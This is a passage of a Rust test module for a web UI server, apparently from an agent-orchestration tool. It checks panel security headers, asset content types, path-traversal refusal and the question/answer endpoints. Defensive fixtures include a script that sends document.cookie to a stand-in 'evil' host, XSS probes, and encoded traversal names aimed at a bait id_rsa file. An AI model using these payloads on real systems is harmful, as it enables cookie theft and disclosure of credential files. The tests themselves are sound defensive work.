9298 fx.get("/api/talks"),
9299 fx.get("/api/notifications")
9300 );
9301 assert_eq!(request_counts(&questions).0, 1);
9302 assert_eq!(request_counts(&talks).0, 2);
9303 assert_eq!(request_counts(¬ices), (0, 0));
9304 }
9305
9306 #[tokio::test]
9307 async fn list_endpoints_large_home_ceiling() {
9308 let (_tmp, repos, fx) = performance_fixture().await;
9309 seed_performance(&fx, &repos, 200, 300, 400);
9310 let mut failures = Vec::new();
9311 for path in [
9314 "/",
9315 "/app.js",
9316 "/app.css",
9317 "/api/questions",
9318 "/api/runs?limit=300",
9319 "/api/queue",
9320 "/api/talks",
9321 "/api/notifications",
9322 "/api/health",
9323 "/api/stats",
9324 "/api/loop",
9325 "/api/settings",
9326 "/api/repos",
9327 ] {
9328 let start = std::time::Instant::now();
9329 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9330 let elapsed = start.elapsed();
9331 eprintln!("{path}: {elapsed:?}");
9332 match result {
9333 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9334 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9335 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9336 }
9337 }
9338 assert!(failures.is_empty(), "{}", failures.join("\n"));
9339 }
9340
9341 struct Res {
9342 status: u16,
9343 headers: String,
9344 head: String,
9349 body: String,
9350 bytes: Vec<u8>,
9354 }
9355
9356 impl Res {
9357 fn json(&self) -> Value {
9358 serde_json::from_str(&self.body)
9359 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9360 }
9361
9362 fn header(&self, name: &str) -> Option<&str> {
9364 self.head.lines().find_map(|line| {
9365 let (key, value) = line.split_once(':')?;
9366 key.trim()
9367 .eq_ignore_ascii_case(name)
9368 .then(|| value.trim_start().trim_end_matches('\r'))
9369 })
9370 }
9371 }
9372
9373 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9376 request_with(addr, method, path, body, &[]).await
9377 }
9378
9379 async fn request_with(
9383 addr: SocketAddr,
9384 method: &str,
9385 path: &str,
9386 body: Option<&str>,
9387 extra: &[(&str, &str)],
9388 ) -> Res {
9389 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9390 for (name, value) in extra {
9391 head.push_str(&format!("{name}: {value}\r\n"));
9392 }
9393 if let Some(body) = body {
9394 head.push_str("Content-Type: application/json\r\n");
9395 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9396 }
9397 head.push_str("\r\n");
9398 if let Some(body) = body {
9399 head.push_str(body);
9400 }
9401 let mut socket = tokio::net::TcpStream::connect(addr)
9402 .await
9403 .expect("connect to the test server");
9404 socket
9405 .write_all(head.as_bytes())
9406 .await
9407 .expect("write request");
9408 let mut raw = Vec::new();
9409 socket.read_to_end(&mut raw).await.expect("read response");
9410 let split = raw
9413 .windows(4)
9414 .position(|w| w == b"\r\n\r\n")
9415 .expect("a header block");
9416 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9417 let bytes = raw[split + 4..].to_vec();
9418 let status = head
9419 .lines()
9420 .next()
9421 .and_then(|line| line.split_whitespace().nth(1))
9422 .and_then(|code| code.parse().ok())
9423 .expect("a status line");
9424 Res {
9425 status,
9426 headers: head.to_lowercase(),
9427 head,
9428 body: String::from_utf8_lossy(&bytes).into_owned(),
9429 bytes,
9430 }
9431 }
9432
9433 async fn request_bytes(
9439 addr: SocketAddr,
9440 path: &str,
9441 headers: &[(&str, &str)],
9442 body: &[u8],
9443 ) -> Res {
9444 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9445 for (name, value) in headers {
9446 head.push_str(&format!("{name}: {value}\r\n"));
9447 }
9448 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9449 let mut socket = tokio::net::TcpStream::connect(addr)
9450 .await
9451 .expect("connect to the test server");
9452 socket
9453 .write_all(head.as_bytes())
9454 .await
9455 .expect("write request head");
9456 socket.write_all(body).await.expect("write request body");
9457 let mut raw = Vec::new();
9458 socket.read_to_end(&mut raw).await.expect("read response");
9459 let split = raw
9460 .windows(4)
9461 .position(|w| w == b"\r\n\r\n")
9462 .expect("a header block");
9463 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9464 let bytes = raw[split + 4..].to_vec();
9465 let status = head
9466 .lines()
9467 .next()
9468 .and_then(|line| line.split_whitespace().nth(1))
9469 .and_then(|code| code.parse().ok())
9470 .expect("a status line");
9471 Res {
9472 status,
9473 headers: head.to_lowercase(),
9474 head,
9475 body: String::from_utf8_lossy(&bytes).into_owned(),
9476 bytes,
9477 }
9478 }
9479
9480 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9482 let mut state = RunState::new(
9483 PathBuf::from("/repo/magi"),
9484 "main".to_owned(),
9485 "0123456789abcdef".to_owned(),
9486 "Add a web UI\n\nMobile first.".to_owned(),
9487 Config::default(),
9488 );
9489 state.id = id.to_owned();
9490 state.status = status;
9491 let dir = runs.join(id);
9492 std::fs::create_dir_all(&dir).expect("run dir");
9493 std::fs::write(
9494 dir.join("run.json"),
9495 serde_json::to_string_pretty(&state).expect("serialize run"),
9496 )
9497 .expect("write run.json");
9498 }
9499
9500 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9504 let mut state = RunState::new(
9505 PathBuf::from(repo),
9506 "main".to_owned(),
9507 "0123456789abcdef".to_owned(),
9508 "task".to_owned(),
9509 Config::default(),
9510 );
9511 state.id = id.to_owned();
9512 state.status = status;
9513 let dir = runs.join(id);
9514 std::fs::create_dir_all(&dir).expect("run dir");
9515 std::fs::write(
9516 dir.join("run.json"),
9517 serde_json::to_string_pretty(&state).expect("serialize run"),
9518 )
9519 .expect("write run.json");
9520 }
9521
9522 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9523 let body = serde_json::json!({
9524 "schema": 1,
9525 "pid": 4242,
9526 "started_at": Timestamp::now().to_string(),
9527 "updated_at": updated_at.to_string(),
9528 "idle": false,
9529 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9530 "completed": 7,
9531 "polls": 143,
9532 });
9533 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9534 }
9535
9536 fn launch_idle(
9546 _opts: daemon::Opts,
9547 stop: daemon::Stop,
9548 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9549 Box::pin(async move {
9550 while !stop.stopped() {
9551 tokio::time::sleep(Duration::from_millis(2)).await;
9552 }
9553 Ok(())
9554 })
9555 }
9556
9557 fn launch_broken(
9560 _opts: daemon::Opts,
9561 _stop: daemon::Stop,
9562 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9563 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9568 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9569 Box::pin(async move {
9570 Err(anyhow::anyhow!(if first {
9571 "publish the daemon status file: read-only file system"
9572 } else {
9573 "the restarted stand-in failed as well"
9574 }))
9575 })
9576 }
9577
9578 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9585 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9586
9587 fn launch_knocking_on_the_way_out(
9594 _opts: daemon::Opts,
9595 stop: daemon::Stop,
9596 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9597 Box::pin(async move {
9598 while !stop.stopped() {
9599 tokio::time::sleep(Duration::from_millis(2)).await;
9600 }
9601 let addr = PARK_KNOCK
9602 .lock()
9603 .expect("park knock")
9604 .expect("the test set an address");
9605 let heard = request(addr, "GET", "/api/health", None).await.status;
9606 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9607 Ok(())
9608 })
9609 }
9610
9611 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9620 for _ in 0..SETTLE_STEPS {
9621 let view = fx.get("/api/loop").await.json();
9622 if want(&view) {
9623 return view;
9624 }
9625 tokio::time::sleep(Duration::from_millis(10)).await;
9626 }
9627 panic!(
9628 "the loop never settled: {}",
9629 fx.get("/api/loop").await.json()
9630 );
9631 }
9632
9633 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9635 let store = fx.questions();
9636 let mut q = Question::new(
9637 "20260902-000000-beef".to_owned(),
9638 "implement".to_owned(),
9639 "impl-A".to_owned(),
9640 summary.to_owned(),
9641 "because it matters".to_owned(),
9642 choices.iter().map(|c| (*c).to_owned()).collect(),
9643 );
9644 store.put(&mut q).expect("put question");
9645 q.id
9646 }
9647
9648 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9654 let store = fx.questions();
9655 let mut q = Question::new(
9656 "20260902-000000-beef".to_owned(),
9657 "land".to_owned(),
9658 "fix".to_owned(),
9659 "Merge this?".to_owned(),
9660 "the diff is in the panel".to_owned(),
9661 vec!["merge".to_owned(), "hold".to_owned()],
9662 );
9663 let staging = fx.home.path().join("staging");
9666 std::fs::create_dir_all(&staging).expect("staging dir");
9667 let sources: Vec<PathBuf> = assets
9668 .iter()
9669 .map(|(name, bytes)| {
9670 let path = staging.join(name);
9671 std::fs::write(&path, bytes).expect("write staged asset");
9672 path
9673 })
9674 .collect();
9675 store
9676 .put_panel(&mut q, html, &sources)
9677 .expect("write the panel");
9678 store.put(&mut q).expect("put question");
9679 q.id
9680 }
9681
9682 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9691 seed_talk_at(&fx.talks(), id, status)
9692 }
9693
9694 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9695 std::fs::create_dir_all(store.root()).expect("talks dir");
9696 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9697 .expect("serialize a seat");
9698 let body = serde_json::json!({
9699 "schema": 1,
9700 "id": id,
9701 "repo": "/repo/magi",
9702 "agent": "mock",
9703 "status": status,
9704 "turns": [],
9705 "created_at": Timestamp::now().to_string(),
9706 "updated_at": Timestamp::now().to_string(),
9707 "seat": seat,
9708 });
9709 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9710 store.get(id).expect("the seeded talk has to be readable");
9711 id.to_owned()
9712 }
9713
9714 #[tokio::test]
9715 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9716 let fx = Fixture::start().await;
9717 let id = panel(
9718 &fx,
9719 "<h1>Merge?</h1><img src=\"diff.svg\">",
9720 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9721 );
9722
9723 for path in [
9724 format!("/api/questions/{id}/panel"),
9725 format!("/api/questions/{id}/asset/diff.svg"),
9726 ] {
9727 let res = fx.get(&path).await;
9728 assert_eq!(res.status, 200, "{path}: {}", res.body);
9729 assert_eq!(
9735 res.header("content-security-policy"),
9736 Some(
9737 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9738 font-src data:; base-uri 'none'; form-action 'none'; \
9739 frame-ancestors 'self'"
9740 ),
9741 "{path} is the only thing between a hostile panel and the tailnet"
9742 );
9743 assert_eq!(
9744 res.header("x-content-type-options"),
9745 Some("nosniff"),
9746 "{path}: a browser must not re-decide the type we sent"
9747 );
9748 assert_eq!(
9749 res.header("referrer-policy"),
9750 Some("no-referrer"),
9751 "{path}: a panel must not leak the question id off the machine"
9752 );
9753
9754 let pre = fx.head(&path).await;
9759 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9760 assert_eq!(
9761 pre.header("content-security-policy"),
9762 res.header("content-security-policy"),
9763 "{path}: the preflight carries the same policy"
9764 );
9765 assert_eq!(
9766 pre.header("content-type"),
9767 res.header("content-type"),
9768 "{path}: the preflight carries the same type"
9769 );
9770 }
9771 }
9772
9773 #[tokio::test]
9774 async fn a_panel_reaches_the_browser_byte_for_byte() {
9775 let fx = Fixture::start().await;
9776 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9781 let id = panel(&fx, html, &[]);
9782
9783 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9784
9785 assert_eq!(res.status, 200);
9786 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9787 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9788 assert_eq!(
9789 res.header("content-disposition"),
9790 None,
9791 "the panel itself is rendered in the frame, not downloaded"
9792 );
9793 }
9794
9795 #[tokio::test]
9796 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9797 let fx = Fixture::start().await;
9798 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9799 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9800 let id = panel(
9801 &fx,
9802 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9803 &[("diff.svg", svg), ("shot.png", png)],
9804 );
9805
9806 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9807 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9808
9809 assert_eq!(as_svg.status, 200);
9810 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9811 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9816
9817 assert_eq!(as_png.status, 200);
9818 assert_eq!(as_png.header("content-type"), Some("image/png"));
9819 assert_eq!(
9820 as_png.header("content-disposition"),
9821 None,
9822 "a raster image has no execution surface, so tapping it still shows it"
9823 );
9824 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9825 }
9826
9827 #[tokio::test]
9828 async fn an_html_asset_is_never_served_as_html() {
9829 let fx = Fixture::start().await;
9830 let id = panel(
9831 &fx,
9832 "<p>see the notes</p>",
9833 &[
9834 (
9835 "notes.html",
9836 b"<script>fetch('http://evil/'+document.cookie)</script>",
9837 ),
9838 ("hook.js", b"fetch('http://evil/')"),
9839 ("data.json", b"{}"),
9840 ("HEADLINE.TXT", b"plain"),
9841 ],
9842 );
9843
9844 for name in ["notes.html", "hook.js", "data.json"] {
9845 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9846 assert_eq!(res.status, 200, "{name}: {}", res.body);
9847 assert_eq!(
9852 res.header("content-type"),
9853 Some("application/octet-stream"),
9854 "{name} must not be a type the browser will execute or render"
9855 );
9856 }
9857 let txt = fx
9860 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9861 .await;
9862 assert_eq!(
9863 txt.header("content-type"),
9864 Some("text/plain; charset=utf-8")
9865 );
9866 }
9867
9868 #[tokio::test]
9869 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9870 let fx = Fixture::start().await;
9871 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9872 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9876
9877 for encoded in [
9884 "%2e%2e%2fid_rsa",
9885 "..%2fid_rsa",
9886 "..%5cid_rsa",
9887 "%2e%2e%5cid_rsa",
9888 "diff%00.svg",
9889 "..",
9890 ".hidden",
9891 "%2e%2e%2f%2e%2e%2fid_rsa",
9892 ] {
9893 let res = fx
9894 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9895 .await;
9896 assert_eq!(
9897 res.status, 400,
9898 "`{encoded}` has to be refused by name, not looked up: {}",
9899 res.body
9900 );
9901 assert!(res.json()["error"].is_string(), "{}", res.body);
9902 }
9903
9904 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9910 let res = fx
9911 .get(&format!("/api/questions/{id}/asset/{literal}"))
9912 .await;
9913 assert_eq!(
9914 res.status, 404,
9915 "`{literal}` must not match the asset route at all: {}",
9916 res.body
9917 );
9918 }
9919 }
9920
9921 #[tokio::test]
9922 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9923 let fx = Fixture::start().await;
9924 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9925 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9926
9927 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9931 assert_eq!(none.status, 404, "{}", none.body);
9932 assert!(none.json()["error"].is_string(), "{}", none.body);
9933 assert_eq!(
9934 fx.head(&format!("/api/questions/{plain}/panel"))
9935 .await
9936 .status,
9937 404,
9938 "the preflight is the only way the client can learn this"
9939 );
9940
9941 let missing = fx
9943 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9944 .await;
9945 assert_eq!(missing.status, 404, "{}", missing.body);
9946 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9947
9948 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9950 assert_eq!(
9951 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9952 404
9953 );
9954 }
9955
9956 #[tokio::test]
9957 async fn a_run_with_an_open_question_reads_as_waiting() {
9958 let fx = Fixture::start().await;
9959 let run = "20260902-000000-beef".to_owned();
9960 write_run(&fx.runs(), &run, RunStatus::Implementing);
9961
9962 let before = fx.get("/api/runs").await.json();
9963 assert_eq!(before[0]["waiting"], false, "{before}");
9964
9965 let store = fx.questions();
9966 let mut q = Question::new(
9967 run.clone(),
9968 "implement".to_owned(),
9969 "impl-A".to_owned(),
9970 "Which backend?".to_owned(),
9971 String::new(),
9972 vec!["SQLite".to_owned()],
9973 );
9974 store.put(&mut q).expect("put");
9975
9976 let during = fx.get("/api/runs").await.json();
9977 assert_eq!(during[0]["waiting"], true, "{during}");
9978
9979 q.answer(Answer::Choice("SQLite".to_owned()))
9982 .expect("answer");
9983 store.put(&mut q).expect("put");
9984 let after = fx.get("/api/runs").await.json();
9985 assert_eq!(after[0]["waiting"], false, "{after}");
9986 }
9987
9988 #[tokio::test]
9989 async fn an_open_question_is_listed_and_counted_by_health() {
9990 let fx = Fixture::start().await;
9991 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9992
9993 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9994 let listed = fx.get("/api/questions").await.json();
9995 assert_eq!(listed.as_array().expect("array").len(), 1);
9996 assert_eq!(listed[0]["id"], id);
9997 assert_eq!(listed[0]["status"], "open");
9998 assert_eq!(listed[0]["choices"][1], "Redis");
9999 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10002 }
10003
10004 #[tokio::test]
10005 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10006 let fx = Fixture {
10007 home: TempDir::new().unwrap(),
10008 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10009 };
10010 let mut state = crate::land::tests::repair_state(true, true);
10011 state.status = RunStatus::Landing;
10012 state.parked = true;
10013 state.driver_exited = true;
10014 let mut task = Task::new(
10015 "Existing PR owner".into(),
10016 state.instruction.clone(),
10017 state.repo.clone(),
10018 Source::Human,
10019 );
10020 task.runs.push(state.id.clone());
10021 task.status = TaskStatus::Parked;
10022 fx.queue().put(&mut task).unwrap();
10023 let mut q = Question::new(
10024 state.id.clone(),
10025 crate::land::APPROVAL_NODE.into(),
10026 "land".into(),
10027 "Contested merge".into(),
10028 "Original evidence".into(),
10029 vec!["merge".into(), "hold".into()],
10030 );
10031 state.land_approval = Some(crate::run::LandApproval {
10032 question: q.id.clone(),
10033 head: "reviewed-head".into(),
10034 });
10035 state.save_under(fx.home.path()).unwrap();
10036 fx.questions().put(&mut q).unwrap();
10037 task.hold_manual(Some("Pause this PR".into()));
10039 fx.queue().put(&mut task).unwrap();
10040 let ui = Arc::new(Ui::new(
10043 fx.queue(),
10044 fx.questions(),
10045 fx.talks(),
10046 fx.runs(),
10047 fx.home.path().to_path_buf(),
10048 state.repo.clone(),
10049 ));
10050 let response = question_answer(
10051 State(ui),
10052 Path(q.id.clone()),
10053 Ok(Json(NewAnswer {
10054 choice: Some(crate::land::REPAIR.into()),
10055 text: None,
10056 })),
10057 )
10058 .await
10059 .unwrap();
10060 assert_eq!(response.0.question.id, q.id);
10061 let upgraded = fx.questions().get(&q.id).unwrap();
10062 assert_eq!(
10063 upgraded.choices,
10064 [crate::land::APPROVE, crate::land::HOLD, crate::land::REPAIR]
10065 );
10066 assert!(upgraded.detail.starts_with("Original evidence"));
10067 let claim = fx.queue().claim(&task.id).unwrap();
10068 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10069 assert!(
10070 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10071 "an existing driver keeps its claim"
10072 );
10073 drop(claim);
10074 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10075 let resumed = fx.queue().get(&task.id).unwrap();
10076 assert_eq!(
10077 resumed
10078 .resume_override
10079 .as_ref()
10080 .unwrap()
10081 .pinned_run
10082 .as_deref(),
10083 Some(state.id.as_str())
10084 );
10085 assert!(resumed.status.runnable());
10086 assert_eq!(resumed.instruction, task.instruction);
10087 assert_eq!(resumed.runs, task.runs);
10088 assert!(resumed.action_applied(&q.id));
10089 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10090 assert_eq!(fx.queue().list().len(), 1);
10091 assert_eq!(
10092 fx.queue().get(&task.id).unwrap().resume_override,
10093 resumed.resume_override
10094 );
10095 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10096 assert!(
10097 disk.merge_repairs.is_empty(),
10098 "only the claimed run driver may execute repair"
10099 );
10100 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10101 }
10102
10103 #[tokio::test]
10104 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10105 let fx = Fixture::start().await;
10106 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10107 let path = format!("/api/questions/{id}/answer");
10108
10109 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10110 assert_eq!(res.status, 200, "{}", res.body);
10111 let body = res.json();
10112 assert_eq!(body["status"], "answered");
10113 assert_eq!(body["answer"]["choice"], "Redis");
10114
10115 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10119 assert_eq!(again.status, 409, "{}", again.body);
10120 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10121 }
10122
10123 #[tokio::test]
10124 async fn saying_something_appends_a_turn_without_answering() {
10125 let fx = Fixture::start().await;
10126 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10127 let path = format!("/api/questions/{id}/say");
10128
10129 let res = fx
10130 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10131 .await;
10132 assert_eq!(res.status, 200, "{}", res.body);
10133 let body = res.json();
10134 assert_eq!(body["status"], "open", "talking back is not a decision");
10135 assert_eq!(body["answer"], Value::Null);
10136 assert_eq!(body["thread"][0]["who"], "operator");
10137 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10138 assert_eq!(body["waiting_on_agent"], true);
10139 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10141 }
10142
10143 #[tokio::test]
10144 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10145 let fx = Fixture::start().await;
10146 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10147
10148 let list = fx.get("/api/questions").await.json();
10149 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10150
10151 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10152 assert_eq!(res.status, 409, "{}", res.body);
10153 let q = fx.questions().get(&id).unwrap();
10154 assert!(q.status.open());
10155 assert!(q.consult.is_none());
10156 }
10157
10158 #[tokio::test]
10159 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10160 let fx = Fixture::start().await;
10161 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10162 let cfg = Config {
10163 agents: vec![crate::config::AgentSpec {
10164 id: "mock".to_owned(),
10165 kind: crate::config::AgentKind::Command,
10166 model: None,
10167 command: vec!["true".to_owned()],
10168 extra_args: Vec::new(),
10169 env: Default::default(),
10170 prompt_delivery: None,
10171 }],
10172 ..Config::default()
10173 };
10174 let talk = crate::talk::begin(
10175 &fx.talks(),
10176 &cfg,
10177 fx.home.path().to_path_buf(),
10178 Some("mock"),
10179 )
10180 .unwrap();
10181 let mut task = Task::new(
10182 "t".to_owned(),
10183 "Do it".to_owned(),
10184 PathBuf::from("/repo/magi"),
10185 Source::Agent {
10186 run: talk.id.clone(),
10187 node: crate::queue::CHAT_NODE.to_owned(),
10188 },
10189 );
10190 task.start("20260902-000000-beef".to_owned());
10191 fx.queue().put(&mut task).unwrap();
10192
10193 let list = fx.get("/api/questions").await.json();
10194 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10195 assert_eq!(
10196 list[0]["choices"],
10197 serde_json::json!(["SQLite", "Redis"]),
10198 "the hand-over is never a choice"
10199 );
10200 fx.questions()
10201 .update(&id, |q| {
10202 q.node = crate::land::APPROVAL_NODE.into();
10203 q.choices = vec!["merge".into(), "hold".into()];
10204 Ok(())
10205 })
10206 .unwrap();
10207 let list = fx.get("/api/questions").await.json();
10208 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10209 let _ = id;
10210 }
10211
10212 #[tokio::test]
10213 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10214 let fx = Fixture::start().await;
10215 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10216 fx.questions()
10217 .update(&id, |q| {
10218 q.node = crate::land::APPROVAL_NODE.into();
10219 q.choices = vec!["merge".into(), "hold".into()];
10220 Ok(())
10221 })
10222 .unwrap();
10223 let cfg = Config {
10224 agents: vec![crate::config::AgentSpec {
10225 id: "mock".to_owned(),
10226 kind: crate::config::AgentKind::Command,
10227 model: None,
10228 command: vec!["true".to_owned()],
10229 extra_args: Vec::new(),
10230 env: Default::default(),
10231 prompt_delivery: None,
10232 }],
10233 ..Config::default()
10234 };
10235 let repo = fx.home.path().join("chat-repo");
10237 std::fs::create_dir_all(&repo).unwrap();
10238 let toml = repo.join("magi.toml");
10239 std::fs::write(&toml, "this is = = not toml").unwrap();
10240 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
10241 let mut task = Task::new(
10242 "t".to_owned(),
10243 "Do it".to_owned(),
10244 PathBuf::from("/repo/magi"),
10245 Source::Agent {
10246 run: talk.id.clone(),
10247 node: crate::queue::CHAT_NODE.to_owned(),
10248 },
10249 );
10250 task.start("20260902-000000-beef".to_owned());
10251 fx.queue().put(&mut task).unwrap();
10252
10253 let path = format!("/api/questions/{id}/consult");
10254 let res = fx.post(&path, None).await;
10255 assert!(res.status >= 400, "{}", res.body);
10256 assert!(fx.questions().get(&id).unwrap().consult.is_none());
10257 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
10258
10259 std::fs::write(&toml, "").unwrap();
10260 let res = fx.post(&path, None).await;
10261 assert_eq!(res.status, 202, "{}", res.body);
10262 assert!(fx.questions().get(&id).unwrap().consult.is_some());
10263 let q = fx.questions().get(&id).unwrap();
10264 assert!(q.status.open());
10265 assert!(q.answer.is_none());
10266 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10267 }
10268
10269 #[tokio::test]
10270 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
10271 let fx = Fixture::start().await;
10272 let store = fx.questions();
10273 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10274 assert_eq!(
10275 fx.get("/api/health").await.json()["questions_needs_owner"],
10276 1
10277 );
10278
10279 let res = fx
10285 .post(
10286 &format!("/api/questions/{id}/say"),
10287 Some(r#"{"body":"why not Postgres?"}"#),
10288 )
10289 .await;
10290 assert_eq!(res.status, 200, "{}", res.body);
10291 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10292 assert_eq!(
10293 fx.get("/api/health").await.json()["questions_needs_owner"],
10294 0,
10295 "waiting on the agent is not waiting on the owner"
10296 );
10297
10298 let mut q = store.get(&id).expect("get");
10302 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
10303 .expect("reply");
10304 store.put(&mut q).expect("put");
10305 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10306 assert_eq!(
10307 fx.get("/api/health").await.json()["questions_needs_owner"],
10308 1,
10309 "the agent's reply is what should light the banner back up"
10310 );
10311 }
10312
10313 #[tokio::test]
10314 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
10315 let fx = Fixture::start().await;
10316 let store = fx.questions();
10317
10318 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10319 let res = fx
10320 .post(
10321 &format!("/api/questions/{empty_id}/say"),
10322 Some(r#"{"body":" "}"#),
10323 )
10324 .await;
10325 assert_eq!(res.status, 400, "{}", res.body);
10326
10327 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10328 let mut answered = store.get(&answered_id).expect("get");
10329 answered
10330 .answer(Answer::Choice("SQLite".to_owned()))
10331 .expect("answer");
10332 store.put(&mut answered).expect("put");
10333 let res = fx
10334 .post(
10335 &format!("/api/questions/{answered_id}/say"),
10336 Some(r#"{"body":"still there?"}"#),
10337 )
10338 .await;
10339 assert_eq!(res.status, 409, "{}", res.body);
10340
10341 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10342 let mut abandoned = store.get(&abandoned_id).expect("get");
10343 abandoned.abandon("timed out");
10344 store.put(&mut abandoned).expect("put");
10345 let res = fx
10346 .post(
10347 &format!("/api/questions/{abandoned_id}/say"),
10348 Some(r#"{"body":"still there?"}"#),
10349 )
10350 .await;
10351 assert_eq!(res.status, 409, "{}", res.body);
10352 }
10353
10354 #[tokio::test]
10355 async fn an_answer_the_question_does_not_offer_is_refused() {
